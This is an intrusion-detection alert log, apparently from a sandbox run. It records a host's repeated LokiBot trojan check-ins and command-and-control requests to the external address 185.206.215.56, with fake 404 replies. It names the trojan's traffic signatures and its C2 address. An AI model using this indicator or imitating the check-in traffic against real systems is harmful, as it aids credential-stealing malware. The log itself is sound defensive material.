01/05/21-19:06:27.753620	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49217	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.753620	TCP	2025381	ET TROJAN LokiBot Checkin	49217	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.753620	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49217	80	192.168.2.22	185.206.215.56
01/05/21-19:06:27.916227	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49217	185.206.215.56	192.168.2.22
01/05/21-19:06:28.127709	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49218	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.127709	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49218	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.127709	TCP	2025381	ET TROJAN LokiBot Checkin	49218	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.127709	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49218	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.287151	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49218	185.206.215.56	192.168.2.22
01/05/21-19:06:28.505441	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49219	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.505441	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49219	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.505441	TCP	2025381	ET TROJAN LokiBot Checkin	49219	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.505441	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49219	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.661950	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49219	185.206.215.56	192.168.2.22
01/05/21-19:06:28.880701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49220	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.880701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49220	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.880701	TCP	2025381	ET TROJAN LokiBot Checkin	49220	80	192.168.2.22	185.206.215.56
01/05/21-19:06:28.880701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49220	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.048592	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49220	185.206.215.56	192.168.2.22
01/05/21-19:06:29.244495	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49221	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.244495	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49221	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.244495	TCP	2025381	ET TROJAN LokiBot Checkin	49221	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.244495	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49221	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.409620	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49221	185.206.215.56	192.168.2.22
01/05/21-19:06:29.630364	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49222	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.630364	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49222	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.630364	TCP	2025381	ET TROJAN LokiBot Checkin	49222	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.630364	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49222	80	192.168.2.22	185.206.215.56
01/05/21-19:06:29.797474	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49222	185.206.215.56	192.168.2.22
01/05/21-19:06:30.014888	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49223	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.014888	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49223	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.014888	TCP	2025381	ET TROJAN LokiBot Checkin	49223	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.014888	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49223	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.193197	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49223	185.206.215.56	192.168.2.22
01/05/21-19:06:30.409915	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49224	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.409915	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49224	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.409915	TCP	2025381	ET TROJAN LokiBot Checkin	49224	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.409915	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49224	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.572043	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49224	185.206.215.56	192.168.2.22
01/05/21-19:06:30.786520	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49225	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.786520	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49225	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.786520	TCP	2025381	ET TROJAN LokiBot Checkin	49225	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.786520	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49225	80	192.168.2.22	185.206.215.56
01/05/21-19:06:30.947633	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49225	185.206.215.56	192.168.2.22
01/05/21-19:06:31.159641	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49226	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.159641	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49226	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.159641	TCP	2025381	ET TROJAN LokiBot Checkin	49226	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.159641	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49226	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.319802	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49226	185.206.215.56	192.168.2.22
01/05/21-19:06:31.542986	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49227	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.542986	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49227	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.542986	TCP	2025381	ET TROJAN LokiBot Checkin	49227	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.542986	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49227	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.697483	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49227	185.206.215.56	192.168.2.22
01/05/21-19:06:31.903232	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49228	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.903232	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49228	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.903232	TCP	2025381	ET TROJAN LokiBot Checkin	49228	80	192.168.2.22	185.206.215.56
01/05/21-19:06:31.903232	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49228	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.053069	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49228	185.206.215.56	192.168.2.22
01/05/21-19:06:32.262786	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49229	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.262786	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49229	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.262786	TCP	2025381	ET TROJAN LokiBot Checkin	49229	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.262786	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49229	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.426688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49229	185.206.215.56	192.168.2.22
01/05/21-19:06:32.647726	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49230	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.647726	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49230	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.647726	TCP	2025381	ET TROJAN LokiBot Checkin	49230	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.647726	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49230	80	192.168.2.22	185.206.215.56
01/05/21-19:06:32.815517	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49230	185.206.215.56	192.168.2.22
01/05/21-19:06:33.031393	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49231	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.031393	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49231	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.031393	TCP	2025381	ET TROJAN LokiBot Checkin	49231	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.031393	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49231	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.190810	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49231	185.206.215.56	192.168.2.22
01/05/21-19:06:33.398944	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49232	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.398944	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49232	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.398944	TCP	2025381	ET TROJAN LokiBot Checkin	49232	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.398944	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49232	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.560619	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49232	185.206.215.56	192.168.2.22
01/05/21-19:06:33.770156	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49233	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.770156	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49233	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.770156	TCP	2025381	ET TROJAN LokiBot Checkin	49233	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.770156	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49233	80	192.168.2.22	185.206.215.56
01/05/21-19:06:33.939742	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49233	185.206.215.56	192.168.2.22
01/05/21-19:06:34.165366	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49234	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.165366	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49234	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.165366	TCP	2025381	ET TROJAN LokiBot Checkin	49234	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.165366	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49234	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.334828	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49234	185.206.215.56	192.168.2.22
01/05/21-19:06:34.564013	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49235	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.564013	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49235	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.564013	TCP	2025381	ET TROJAN LokiBot Checkin	49235	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.564013	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49235	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.721364	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49235	185.206.215.56	192.168.2.22
01/05/21-19:06:34.935155	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49236	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.935155	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49236	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.935155	TCP	2025381	ET TROJAN LokiBot Checkin	49236	80	192.168.2.22	185.206.215.56
01/05/21-19:06:34.935155	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49236	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.122327	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49236	185.206.215.56	192.168.2.22
01/05/21-19:06:35.342016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49237	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.342016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49237	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.342016	TCP	2025381	ET TROJAN LokiBot Checkin	49237	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.342016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49237	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.512183	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49237	185.206.215.56	192.168.2.22
01/05/21-19:06:35.726449	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49238	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.726449	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49238	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.726449	TCP	2025381	ET TROJAN LokiBot Checkin	49238	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.726449	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49238	80	192.168.2.22	185.206.215.56
01/05/21-19:06:35.894052	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49238	185.206.215.56	192.168.2.22
01/05/21-19:06:36.098105	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49239	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.098105	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49239	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.098105	TCP	2025381	ET TROJAN LokiBot Checkin	49239	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.098105	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49239	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.277202	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49239	185.206.215.56	192.168.2.22
01/05/21-19:06:36.491085	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49240	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.491085	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49240	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.491085	TCP	2025381	ET TROJAN LokiBot Checkin	49240	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.491085	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49240	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.657367	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49240	185.206.215.56	192.168.2.22
01/05/21-19:06:36.879808	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49241	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.879808	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49241	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.879808	TCP	2025381	ET TROJAN LokiBot Checkin	49241	80	192.168.2.22	185.206.215.56
01/05/21-19:06:36.879808	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49241	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.043514	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49241	185.206.215.56	192.168.2.22
01/05/21-19:06:37.256017	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49242	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.256017	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49242	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.256017	TCP	2025381	ET TROJAN LokiBot Checkin	49242	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.256017	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49242	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.425204	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49242	185.206.215.56	192.168.2.22
01/05/21-19:06:37.635343	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49243	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.635343	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49243	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.635343	TCP	2025381	ET TROJAN LokiBot Checkin	49243	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.635343	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49243	80	192.168.2.22	185.206.215.56
01/05/21-19:06:37.804227	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49243	185.206.215.56	192.168.2.22
01/05/21-19:06:38.018241	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49244	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.018241	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49244	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.018241	TCP	2025381	ET TROJAN LokiBot Checkin	49244	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.018241	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49244	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.186781	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49244	185.206.215.56	192.168.2.22
01/05/21-19:06:38.389239	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49245	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.389239	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49245	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.389239	TCP	2025381	ET TROJAN LokiBot Checkin	49245	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.389239	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49245	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.563167	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49245	185.206.215.56	192.168.2.22
01/05/21-19:06:38.784644	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49246	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.784644	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49246	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.784644	TCP	2025381	ET TROJAN LokiBot Checkin	49246	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.784644	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49246	80	192.168.2.22	185.206.215.56
01/05/21-19:06:38.965108	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49246	185.206.215.56	192.168.2.22
01/05/21-19:06:39.177876	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49247	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.177876	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49247	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.177876	TCP	2025381	ET TROJAN LokiBot Checkin	49247	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.177876	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49247	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.331864	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49247	185.206.215.56	192.168.2.22
01/05/21-19:06:39.554968	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49248	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.554968	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49248	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.554968	TCP	2025381	ET TROJAN LokiBot Checkin	49248	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.554968	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49248	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.738314	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49248	185.206.215.56	192.168.2.22
01/05/21-19:06:39.944185	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49249	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.944185	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49249	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.944185	TCP	2025381	ET TROJAN LokiBot Checkin	49249	80	192.168.2.22	185.206.215.56
01/05/21-19:06:39.944185	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49249	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.121556	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49249	185.206.215.56	192.168.2.22
01/05/21-19:06:40.335810	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49250	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.335810	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49250	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.335810	TCP	2025381	ET TROJAN LokiBot Checkin	49250	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.335810	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49250	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.507894	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49250	185.206.215.56	192.168.2.22
01/05/21-19:06:40.714092	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49251	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.714092	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49251	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.714092	TCP	2025381	ET TROJAN LokiBot Checkin	49251	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.714092	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49251	80	192.168.2.22	185.206.215.56
01/05/21-19:06:40.893523	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49251	185.206.215.56	192.168.2.22
01/05/21-19:06:41.109834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49252	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.109834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49252	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.109834	TCP	2025381	ET TROJAN LokiBot Checkin	49252	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.109834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49252	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.281018	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49252	185.206.215.56	192.168.2.22
01/05/21-19:06:41.488492	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49253	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.488492	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49253	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.488492	TCP	2025381	ET TROJAN LokiBot Checkin	49253	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.488492	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49253	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.665959	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49253	185.206.215.56	192.168.2.22
01/05/21-19:06:41.875312	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49254	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.875312	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49254	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.875312	TCP	2025381	ET TROJAN LokiBot Checkin	49254	80	192.168.2.22	185.206.215.56
01/05/21-19:06:41.875312	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49254	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.043815	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49254	185.206.215.56	192.168.2.22
01/05/21-19:06:42.266645	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49255	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.266645	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49255	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.266645	TCP	2025381	ET TROJAN LokiBot Checkin	49255	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.266645	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49255	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.432654	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49255	185.206.215.56	192.168.2.22
01/05/21-19:06:42.638995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49256	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.638995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49256	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.638995	TCP	2025381	ET TROJAN LokiBot Checkin	49256	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.638995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49256	80	192.168.2.22	185.206.215.56
01/05/21-19:06:42.805691	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49256	185.206.215.56	192.168.2.22
01/05/21-19:06:43.011253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49257	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.011253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49257	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.011253	TCP	2025381	ET TROJAN LokiBot Checkin	49257	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.011253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49257	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.168522	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49257	185.206.215.56	192.168.2.22
01/05/21-19:06:43.372296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49258	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.372296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49258	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.372296	TCP	2025381	ET TROJAN LokiBot Checkin	49258	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.372296	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49258	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.526493	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49258	185.206.215.56	192.168.2.22
01/05/21-19:06:43.756835	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49259	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.756835	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49259	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.756835	TCP	2025381	ET TROJAN LokiBot Checkin	49259	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.756835	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49259	80	192.168.2.22	185.206.215.56
01/05/21-19:06:43.913405	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49259	185.206.215.56	192.168.2.22
01/05/21-19:06:44.120266	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49260	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.120266	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49260	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.120266	TCP	2025381	ET TROJAN LokiBot Checkin	49260	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.120266	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49260	80	192.168.2.22	185.206.215.56
01/05/21-19:06:44.276026	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49260	185.206.215.56	192.168.2.22
01/05/21-19:06:44.485788	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49261	80	192.168.2.22	185.206.215.56
